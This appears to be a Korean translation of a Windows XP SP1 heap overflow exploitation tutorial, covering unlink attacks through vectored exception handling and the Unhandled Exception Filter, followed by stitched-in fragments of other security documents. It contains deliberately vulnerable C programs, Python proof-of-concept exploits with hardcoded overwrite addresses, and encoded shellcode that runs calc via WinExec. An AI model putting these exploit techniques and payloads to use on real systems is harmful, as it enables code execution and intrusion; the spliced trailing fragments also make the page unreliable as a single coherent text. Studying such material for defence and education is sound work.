Heap Overflow By WraithOfGhost
|
|
- 형준 갈
- 5 years ago
- Views:
Transcription
1 Heap Overflow By WraithOfGhost
2 이전스택오버플로우문서에서예외처리핸들러 (Exception Handler) 를호출하거나직접적인방법을 EIP 레지스터를제어하는방법을보여주었다. 본문서는 EIP / SEH를직접이용하지않고프로그램의실행흐름을제어하는일련의방법들에대하여다룰예정이다. 공격자가정한값을원하는메모리주소에덮어씀으로써임의의 DWORD (dobule world, 32bit) 값을덮어쓸수있다. 만약중 / 고급수준의스택오버플로우에대하여익숙하지않다면먼저해당분야를공부하고이문서를읽기바란다. 또한문서에서다루는기법은최신환경에서패치되었기때문에이미쓸모없고한동안사용되지않은기법이다. 문서자체가이해를돕기위한것이기때문에윈도우즈힙매니저에대한익스플로잇기법을알고싶다면다른문서를보기바란다. 문서를읽기위해필요한것은다음과같다. - Windows XP SP1 - 디버거 ( 올리디버거, 이뮤니티디버거, 윈디버거등 ) - C/C++ 컴파일러 (Dev C++, lcc-32, MS visual C++6.0 등 ) - 스크립트언어 ( 파이썬, 펄등 ) - 뇌 ( 고집, 끈기 ) - 어셈블리, C에대한약간의지식, 디버깅능력 - 시간 먼저핵심이면서가장기초적이고근본적인것부터살펴볼것이다. 지금설명한기법들은 실제사용하기에는좀오래된것들이지만, 발전된기법을알기위해선기초적인것또한 알아야한다.
3 힙의개념과 XP 환경에서의동작방식 What is the heap and how does it work under XP 힙 (heap) 은프로세스에서데이터를담는일종의저장공간이다. 각각의프로세스는어플리케이션의요청에따라동적으로힙메모리를할당하고해제하는데, 전역에서접근할수있다. 메모리에관해서알아두어야하는사항은스택은 0x 을향해자라고, 힙은 0xFFFFFFFF 을향해자라는점이다. 다시말하면프로세스가 HeapAllocate() 함수를 2번호출하면, 두번째호출은첫번째보다높은주소를리턴한다는뜻이다. 따라서첫힙블록 ( 할당된힙영역 ) 에서오버플로우가발생되면두번째블록에서도오버플로우가일어나게된다. 모든프로세스는그것이기본힙이던, 동적으로할당된힙이던여러형태의데이터구조를포함한다. 그중하나가바로해제된블록들에대한추적을하는 128 개의 LIST_ENTRY 구조체배열이다. 다른말로 FreeLists( 해제된리스트 ) 라고도한다. 각리스트의항목들은배열의시작과힙구조체내부의오프셋 0x178 에서찾을수있는 2개의포인터를가진다. 힙에의해 2개의포인터가생성되면해당포인터들은메모리에서해제된블록중첫번째를 ( 재할당가능 ) 가리키고해당블록은 FreeLists[0] 으로세팅된다. * 힙이할당되기전에할당될첫번째해제블록을가리키고있는두포인터는 FreeLists[0] 배열에있음 * 반대로위두포인터가가리키고있는주소에는 FreeLists[0] 을가리키는두포인터가있음 좀더자세히생각하면다음과같다. 시작주소 (Base Address) 가 0x 인힙영역을 가지고있다고가정한다. 그리고첫번째가용블록은 0x 주소에있다면다음과 같은 4 개의주소를추정할수있다. 주소 : 0x (FreeLists[0].Flink) 값 : 0x ( 해제된첫번째블록 ) 주소 : 0x c (Freelists[0].Blink) 값 : 0x ( 해제된첫번째블록 )
4 주소 : 0x ( 해제된첫번째블록 ) 값 : 0x (FreeLists[0]) 주소 : 0x C ( 해제된첫번째블록 ) 값 : 0x (FreeLists[0]) 첫번째 Free 블록에대해힙이할당되면 FreeLists[0].Flink 와 FreeLists[0].Blink 포인터들은 2번째해제덩어리 ( 다음할당작업에사용 ) 을가리킨다. 더군다나 FreeLists 를가리키던 2개의포인터들은새로할당된블록의마지막부분을가리키게된다. 매번이런블록들이할당되거나해제될때마다포인터들은계속변경된다. 따라서힙의할당과해제는이중연결리스트를통해추적하고관리할수있다. 힙버퍼가힙에의해제어되는데이터에의해오버플로우되면, 이중연결리스트가새로힙을할당하는과정에서포인터가변경되면서임의의 DWORD 값을덮어쓸수있게된다. 이때공격자는함수포인터와같은프로그램의제어값을조작할수있고프로세스의실행흐름에대한제어권을얻게된다.
5 벡터화예외처리를이용한힙오버플로우익스플로잇 Exploiting Heap Overflows using Vectored Exception Handling 익스플로잇에사용할 heap-veh.c 코드는다음과같다. #include <windows.h> #include <stdio.h> DWORD MyExceptionHandler(void); int foo(char *buf); int main(int argc, char *argv[]) { HMODULE l; l = LoadLibrary("msvcrt.dll"); l = LoadLibrary("netapi32.dll"); printf("\n\nheapoverflow program.\n"); if (argc!= 2) return printf("args!"); } foo(argv[1]); return 0; DWORD MyExceptionHandler(void) { printf("in exception handler..."); ExitProcess(1); return 0; } int foo(char *buf) { HLOCAL h1 = 0, h2 = 0; HANDLE hp; try { hp = HeapCreate(0, 0x1000, 0x10000); if (!hp) { return printf("failed to create heap.\n"); } h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260); printf("heap : %.8X %.8X\n", h1, &h1); // Heap Overflow occurs here strcpy(h1, buf); } // This second call to HeapAlloc() is when we gatin control h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260); printf("hello");
6 except(myexceptionhandler()) printf("oops..."); } return 0; 위코드에서 try 블록구문에의해예외처리가이루어지는것을알수있다. 위코드를 Windows XP SP1 환경에서원하는컴파일러로컴파일한다. 커맨드라인에서컴파일된프로그램을실행시키면예외처리핸들러를발생시키기위해 260 이상 ( 사진 :266) 의바이트가필요한것을알수있다. 당연한얘기지만위프로그램 + 인자를디버거에서실행하면우리는두번째힙할당부분의제어권을얻을수있게된다. * FreeLists[0] 이첫번째할당작업에서우리의공격문자열로업데이트되기때문 MOV DWORD PTR DS:[ECX],EAX MOV DWORD PTR DS:[EAX+4],ECX 위명령어는 EAX 의현재값을 ECX 의포인터로, ECX 의현재값을 EAX+4 의포인터 로만들라는뜻이다. 즉처음할당된메모리블록을해제하거나끊을 (unlinking) 수있다는뜻이다. 즉다음과같이해석할수있다. - EAX ( 우리가쓸내용 ) : Blink - ECX ( 내용을쓸위치 ) : Flink
7 벡터화예외처리개념 So what is vectored exception handling? 벡터화예외처리는 Windows XP에서도입된것으로힙영역에에외처리등록구조체를저장하는방식이다. 스택에구조체를저장하는 SEH와같은전통적인프레임예외처리방식과반대되는개념이다. 이런종류의예외처리는다른프레임기반예외처리보다먼저호출된다. 벡터화예외처리의구조는다음과같다. ( 즉, VEH가 SEH보다우선순위가높다 ) struct _VECTORED_EXCEPTION_NODE { DWORD m_pnextnode; DWORD m_ppreviousnode; PVOID m_pfnvectoredhandler; } 위구조체에서신경써야하는것은구조체멤버중 m_pnextnode 멤버가다음 _VECTORED_EXCEPTION_NODE 구조체를가리킨다는것이다. 따라서우린 _VECTORED_EXCEPTION_NODE(m_pNextNode) 를가리키는포인터를우리가임의로변조해서만든가짜포인터로덮어쓰기만하면된다. 다만이포인터를어떤값으로덮어씌어야할까?? 우선 _VECTORED_EXCEPTION_NODE 를배치시키는코드를보면다음과같다. 77F7F49E 8B FC77 MOV ESI,DWORD PTR DS:[77FC3210] 77F7F4A4 EB 0E JMP SHORT ntdll.77f7f4b4 77F7F4A6 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 77F7F4A9 50 PUSH EAX 77F7F4AA FF56 08 CALL DWORD PTR DS:[ESI+8] _VECTORED_EXCEPTION_NODE 포인터를 ESI로옮기고조금뒤에 [ESI+8] 을호출한다. 만약 _VECTORED_EXCEPTION_NODE 의다음포인터를쉘코드-0x08 를가리키는포인터로덮어쓴다면깔끔하게실행흐름을쉘코드쪽으로변조할수있다. 쉘코드의주소는스택에서찾으면된다.
8 위사진에서보듯이쉘코드 ( 수많은 A) 에대한포인터를스택에서찾을수있다. 0x0012FF40 값을직접사용할것이다. 이전에보았던 CALL ESI+8 명령어를기억할지모르겠지만, 해당명령어의대상을올바르게지정한다면 0x0012FF38 (0x0012FF40 0x08) 이된다. 따라서 EAX는 0x0012FF38 로세팅해야한다. 그다음 m_pnextnode( 다음 _VECTORED_EXCEPTION_NODE 를가리키는포인터 ) 를찾아야하는데이뮤니티, 올리디버거를이용하여예외를발생시키고 Shift+F7 을통하여찾을수있다. 첫번째 _VECTORED_EXCEPTION_NODE 를호출하기위해코드는준비과정을거칠것이고, 그과정에서포인터주소를찾을수있다. 77F60C2C BF 1032FC77 MOV EDI,ntdll.77FC F60C31 393D 1032FC77 CMP DWORD PTR DS:[77FC3210],EDI 77F60C37 0F85 48E80100 JNZ ntdll.77f7f485 위코드에서 m_pnextnode( 우리가필요한포인터 ) 는 EDI에복사되고있다. 우린동일한값을 ECX에세팅해줘야한다. 세팅되는최종레지스터 / 값들은다음과같다. - ECX = 0x77FC EAX = 0x0012FF38 물론 EAX/ECX 에대한오프셋이필요하기때문에패턴을만들어어플리케이션입력값으로사용하여알아내야한다.
9 msf 패턴생성 안티디버깅활성화후예외를발생시켜오프셋계산
10 오프셋을알아냈으니다음과같은 PoC 익스플로잇을작성한다. import os # _vectored_exception_node exploit = ("\xcc" * 272) # ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210-0x04 # due to second MOV writes to EAX+4 == 0x77fc320c exploit += ("\x0c\x32\xfc\x77") # ECX # EAX ptr to shellcode located at 0012ff40-0x8 == 0012ff38 exploit += ("\x38\xff\x12") # EAX - we don't need the null byte os.system('"c:\\documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-veh.exe ' + exploit) 이번단계에선 ECX 명령어다음에널바이트가존재하기때문에쉘코드를위치 시킬수없다. 항상그런건아니지만이번경우에는 strcpy 를이용해버퍼를 힙에저장할것이기때문에널바이트는문제가될수있다. 이번엔소프트웨어가 \xcc 를만나면중단되게만들면서약간의쉘코드를 추가할것이다. 대상버퍼의크기제한으로인해쉘코드길이는 272 바이트 이하여야만한다. import os import win32api calc = ( "\xda\xcb\x2b\xc9\xd9\x74\x24\xf4\x58\xb1\x32\xbb\xfa\xcd" + "\x2d\x4a\x83\xe8\xfc\x31\x58\x14\x03\x58\xee\x2f\xd8\xb6" + "\xe6\x39\x23\x47\xf6\x59\xad\xa2\xc7\x4b\xc9\xa7\x75\x5c" + "\x99\xea\x75\x17\xcf\x1e\x0e\x55\xd8\x11\xa7\xd0\x3e\x1f" + "\x38\xd5\xfe\xf3\xfa\x77\x83\x09\x2e\x58\xba\xc1\x23\x99" + "\xfb\x3c\xcb\xcb\x54\x4a\x79\xfc\xd1\x0e\x41\xfd\x35\x05" + "\xf9\x85\x30\xda\x8d\x3f\x3a\x0b\x3d\x4b\x74\xb3\x36\x13" + "\xa5\xc2\x9b\x47\x99\x8d\x90\xbc\x69\x0c\x70\x8d\x92\x3e" + "\xbc\x42\xad\x8e\x31\x9a\xe9\x29\xa9\xe9\x01\x4a\x54\xea" + "\xd1\x30\x82\x7f\xc4\x93\x41\x27\x2c\x25\x86\xbe\xa7\x29" + "\x63\xb4\xe0\x2d\x72\x19\x9b\x4a\xff\x9c\x4c\xdb\xbb\xba" + "\x48\x87\x18\xa2\xc9\x6d\xcf\xdb\x0a\xc9\xb0\x79\x40\xf8" + "\xa5\xf8\x0b\x97\x38\x88\x31\xde\x3a\x92\x39\x71\x52\xa3" + "\xb2\x1e\x25\x3c\x11\x5b\xd9\x76\x38\xca\x71\xdf\xa8\x4e" + "\x1c\xe0\x06\x8c\x18\x63\xa3\x6d\xdf\x7b\xc6\x68\xa4\x3b" + "\x3a\x01\xb5\xa9\x3c\xb6\xb6\xfb\x5e\x59\x24\x67\xa1\x93") # _vectored_exception_node exploit = ("\x90" * 5) exploit += (calc) exploit += ("\xcc" * (272-len(exploit)))
11 # ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210-0x04 # due to second MOV writes to EAX+4 == 0x77fc320c exploit += ("\x0c\x32\xfc\x77") # ECX # EAX ptr to shellcode located at 0012ff40-0x8 == 0012ff38 exploit += ("\x38\xff\x12") # EAX - we dont need the null byte win32api.winexec(('heap-veh.exe %s') % exploit, 1)
12 처리되지않은예외필터를이용한힙오버플로우 Exploiting Heap Overflows using the Unhandled Exception Filter 처리되지않은예외필터 (Unhandled Exception Filter) 는어플리케이션이종료되기 직전에호출되는마지막예외이다. 해당예외는 An unhandled error occurred 와 같은일반적인메시지를어플리케이션이갑자기종료될때띄어주는역할을한다. 지금까지 EAX/ECX 를제어하고각레지스터들에대한오프셋을알아내었다. import os exploit = ("\xcc" * 272) exploit += ("\x41" * 4) # ECX exploit += ("\x42" * 4) # EAX exploit += ("\xcc" * 272) os.system('"c:\\documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit) 기존의예제들과달리, heap-uef.c 파일은커스텀예외처리핸들러에대한추적 코드가존재하지않는다. 이는우리가마이크로소프트의 Unhandled Exception Filter 를 이용하여어플리케이션을공격한다는뜻이다. heap-uef.c 코드는다음과같다. #include <stdio.h> #include <windows.h> int foo(char *buf); int main(int argc, char *argv[]) { HMODULE l; l = LoadLibrary("msvcrt.dll"); l = LoadLibrary("netapi32.dll"); printf("\n\nheapoverflow program.\n"); if(argc!= 2) return printf("args!"); } foo(argv[1]); return 0; int foo(char *buf) { HLOCAL h1 = 0, h2 = 0; HANDLE hp; hp = HeapCreate(0,0x1000,0x10000); if(!hp) return printf("failed to create heap.\n");
13 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260); printf("heap: %.8X %.8X\n",h1,&h1); // Heap Overflow occurs here: strcpy(h1,buf); } // We gain control of this second call to HeapAlloc h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260); printf("hello"); return 0; 이런종류의오버플로우를디버깅할땐안티디버깅을활성화시켜우리의예외가호출되고오프셋이올바른주소에위치시키는것이매우중요하다. 처음에는우선어느주소에 DWORD 값을덮어쓸것인지찾아야한다. 이값이바로 Unhandled Exception Filter 에대한포인터가된다. 해당포인터를알아내려면디버거를이용하여 SetUnhandledExceptionFilter() 함수를분석하면된다. MOV 명령어를이용하여 UnhandledExceptionFilter(0x77ED73B4) 주소에값을쓰는 것을볼수있다. SetUnhandledExceptionFilter() 함수에대한호출이생성되면 ECX 레지스터값을 UnhandledExceptionFilter 에의해생성된포인터에복사한다. 다만 unlink() 과정이 ECX->EAX 명령어를수행하기때문에처음에는이과정이다소헷갈릴수있지만
14 지금처럼상황이명백한경우우리가하려는것은 SetUnhandledExceptionFilter() 함수가 UnhandledExceptionFilter 함수를호출하게만드는것이다. 따라서우린 ECX가쉘코드로흐름을변경할포인터를가지고있다고호가인할수있다. 다음코드를통해이런과정을보다명확하게이해할수있다. 77E93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4] 77E BC6 CMP EAX,ESI 77E9311B JE SHORT kernel32.77e E9311D 57 PUSH EDI 77E9311E FFD0 CALL EAX 기본적으로, UnhandledExceptionFilter() 값은 EAX에복사되고 CALL EAX가호출된다. 즉, UnhandledExceptionFilter() -> [ 공격자의포인터 ] 와같은형태가된다. 그리고공격자의포인터는 UnhandledExceptionFilter() 에의해참조가해제되어 EAX에복사되고실행된다. 이포인터는실행흐름을공격자의쉘코드쪽으로변경하거나, 쉘코드쪽으로이동시키는명령어쪽으로변경한다. EDI 를살펴보면, 페이로드의마지막부분으로부터 0x74 바이트만큼떨어진것을 볼수있다. 이포인터를호출하기만하면, 쉘코드를실행할수있게된다. 그러므로 EAX 는 다음과같은명령어를가리켜야한다. call dword ptr ds:[edi+74] 위형태의명령어는 XP SP1 환경에서다양한 MS 모듈내부에서찾을수있다.
15 위사진에서찾은값들을이전에작성한 PoC 코드의적절한위치에삽입한다. import os exploit = ("\xcc" * 272) exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[edi+74] exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter() exploit += ("\xcc" * 272) os.system('"c:\\documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit) 물론간단하게쉘코드의일부분 ( 쉘코드앞에 nop/junk 가있을경우 ) 에대한오프셋을 계산하고 JMP 명령어과쉘코드를넣을수있다. import os calc = ( "\x33\xc0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\xb9" "\x44\x80\xc2\x77" # address to WinExec() "\xff\xd1\x90\x90") exploit = ("\x44" * 264) exploit += "\xeb\x14" # our JMP (over the junk and into nops) exploit += ("\x44" * 6) exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[edi+74] exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter() exploit += ("\x90" * 21) exploit += calc os.system('heap-uef.exe ' + exploit)
16
17 결론 Conclusion Windows XP SP1+ 이전환경에서사용되는가장기초적인 unlink() 익스플로잇방법에대해 2가자기법을보여주었다. RtlEnterCriticalSection 이나 TEC 예외처리핸들러익스플로잇등과같은다른기법을을사용할수도있다. 다음에는 Unlink() 익스플로잇 (HeapAlloc/HeapFree) 을 Windows XP SP2/SP3 환경에서시도할것이고힙에대한윈도우의방어기법을우회할것이다. PoC 코드 참고문헌 - [ 원문 ] - The shellcoder s handbook - (Chris Anley, John Heasman, FX, Gerardo Richarte) -
Heap Overflows For Humans 101 우리는이전에스택기반의버퍼오버플로우와포멧스트링취약점에대해이야기 했다. 지금시간에는한단계더나아리가서윈도우즈힙매니저와함께놀자 Unlink() to ex
Heap Overflows For Humans 101 xptr33@gmail.com candypython@gmail.com 우리는이전에스택기반의버퍼오버플로우와포멧스트링취약점에대해이야기 했다. 지금시간에는한단계더나아리가서윈도우즈힙매니저와함께놀자 Unlink() to execute a write 4 primitive 그전까지는해커들은스택오버플로우에서예외처리루틴을호출시키든어떤방법으로든
More informationPoison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3
Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow
More informationDeok9_Exploit Technique
Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security
More information제목
Development Technology Seminar 작 성 자 : 고형호 이 메 일 : hyungho.ko@gmail.com 최초작성일 : 2007.01.19 최종작성일 : 2007.02.05 버 전 : 01.05 홈 피 : www.innosigma.com Goal Exception Handling 1. SEH vs. CEH Exception Handling
More informationMicrosoft Word - building the win32 shellcode 01.doc
Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode
More informationCKKeyPro 적용가이드
3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.
More informationMicrosoft PowerPoint - chap02-C프로그램시작하기.pptx
#include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의
More information목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단
기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4
More information금오공대 컴퓨터공학전공 강의자료
C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음
More informationMicrosoft PowerPoint - chap06-2pointer.ppt
2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.
More informationHeap Overflow By WraithOfGhost
Heap Overflow - 103 By WraithOfGhost 시간이지남에따라잊혀지지않았으면하는힙공격을위한매우중요한 기법을설명하고자한다. 지금까지다룬문서의내용을간단하게정리하면 다음과같다. Heap Overflows 101 [ Windows XP SP1 이하환경에서의기본적인힙오버플로우 ] - 기본적인 unlink() 공격 + 함수포인터덮어쓰기 - 처리되지않은예외필터이용
More information<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>
연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.
More information슬라이드 1
-Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역
More information취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환
취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer
More informationPowerPoint Template
BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는
More information<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>
기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)
More informationHeap Overflow By WraithOfGhost
Heap Overflow - 102 By WraithOfGhost 이전문서에서 unlink 프로세스가어떻게동작되는지, FreeLists[n] 의 Flink/Blink 를이용해공격자가어떻게 4 바이트값을덮어쓰는지보여주기 위해 Windows XP SP1 환경에서힙오버플로우익스플로잇방법을다루었다. 이번문서의목표는자신스스로를다시한번교육 ( 혹시나잊어버렸을까봐 ) 시키고보안전문가들이힙매니저가
More informationhlogin2
0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS
More information11장 포인터
누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리
More information[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi
2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,
More informationMicrosoft PowerPoint - chap01-C언어개요.pptx
#include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을
More information11장 포인터
Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함
More informationMicrosoft PowerPoint - CSharp-10-예외처리
10 장. 예외처리 예외처리개념 예외처리구문 사용자정의예외클래스와예외전파 순천향대학교컴퓨터학부이상정 1 예외처리개념 순천향대학교컴퓨터학부이상정 2 예외처리 오류 컴파일타임오류 (Compile-Time Error) 구문오류이기때문에컴파일러의구문오류메시지에의해쉽게교정 런타임오류 (Run-Time Error) 디버깅의절차를거치지않으면잡기어려운심각한오류 시스템에심각한문제를줄수도있다.
More informationMicrosoft Word - MSOffice_WPS_analysis.doc
MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS
More informationchap 5: Trees
5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경
More informationMicrosoft PowerPoint - ch07 - 포인터 pm0415
2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자
More informationA Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning
C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용
More informationA Hierarchical Approach to Interactive Motion Editing for Human-like Figures
단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct
More information3.20 테러 악성코드바이너리분석 손충호 (StolenByte) WOWHACKER Group 해당문서는 WOWHACKER Group 의문서이므로, 무단도용및수 정및변조는할수없습니다. 페이지 1 / 20
3.20 테러 악성코드바이너리분석 손충호 (StolenByte) stolenbyte@wowhacker.org WOWHACKER Group 2013-03-20 해당문서는 WOWHACKER Group 의문서이므로, 무단도용및수 정및변조는할수없습니다. 페이지 1 / 20 전체적인공격프로세스 페이지 2 / 20 1. 바이너리가사용할 LoadLibrary 하여함수 Load
More information커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서
커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드
More information금오공대 컴퓨터공학전공 강의자료
C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include
More informationPowerPoint 프레젠테이션
System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소
More information버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습
